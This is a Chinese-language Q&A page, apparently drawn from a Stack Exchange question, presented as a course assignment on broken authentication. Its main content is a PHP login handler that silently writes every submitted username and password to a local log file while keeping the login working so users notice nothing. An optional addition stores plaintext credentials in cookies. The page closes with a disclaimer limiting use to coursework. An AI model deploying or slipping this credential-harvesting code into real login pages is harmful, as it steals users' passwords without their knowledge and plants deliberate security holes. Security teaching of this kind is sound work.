不使用API如何获取HTML登录页不安全凭证并实现Broken Authentication漏洞
PHP登录页身份认证失效漏洞模拟方案(适配课程作业)
实现逻辑说明
完全适配你提供的前端登录表单,无需修改现有前端代码,仅通过修改后端校验逻辑即可实现凭证窃取的Broken Authentication场景,逻辑简单无API依赖。
核心代码实现(validate.php)
<?php session_start(); // 恶意凭证记录逻辑:用户提交登录请求时静默存储账号密码到本地日志 if (isset($_POST['lgn_submit'])) { // 写入凭证到同目录log.txt文件 $log_file = fopen("log.txt", "a+"); $log_content = sprintf( "[%s] 账号:%s | 密码:%s | 记住我:%s\r\n", date("Y-m-d H:i:s"), $_POST['usr'], $_POST['pw'], isset($_POST['remember']) ? "是" : "否" ); fwrite($log_file, $log_content); fclose($log_file); // 保留正常登录校验逻辑,用户无感知 $legal_usr = "demo@course.com"; $legal_pw = "course123"; if ($_POST['usr'] == $legal_usr && $_POST['pw'] == $legal_pw) { $_SESSION['is_login'] = true; $_SESSION['usr'] = $_POST['usr']; // 原业务跳转逻辑,比如跳转到用户首页 header("Location: dashboard.php"); exit(); } else { $_SESSION['err'] = "用户名或密码错误"; header("Location: login.php"); exit(); } } ?>
效果验证步骤
- 部署代码后访问登录页,输入任意账号密码提交
- 打开后端同目录下的
log.txt,即可查看所有用户提交的登录凭证,实现恶意窃取的模拟效果
可选拓展场景:记住我功能缺陷
如果需要模拟更典型的身份认证失效场景,可以给记住我功能增加不安全实现,校验登录成功后添加如下代码:
if (isset($_POST['remember']) && $_POST['remember'] == "yes") { // 错误实现:明文存储用户凭证到Cookie,攻击者获取Cookie即可直接登录 setcookie("saved_usr", $_POST['usr'], time() + 60); setcookie("saved_pw", $_POST['pw'], time() + 60); }
提示:以上代码仅用于课程作业安全学习演示,禁止用于任何未授权的非法测试场景。
内容的提问来源于stack exchange,提问作者Rei
相关产品推荐
相关产品推荐

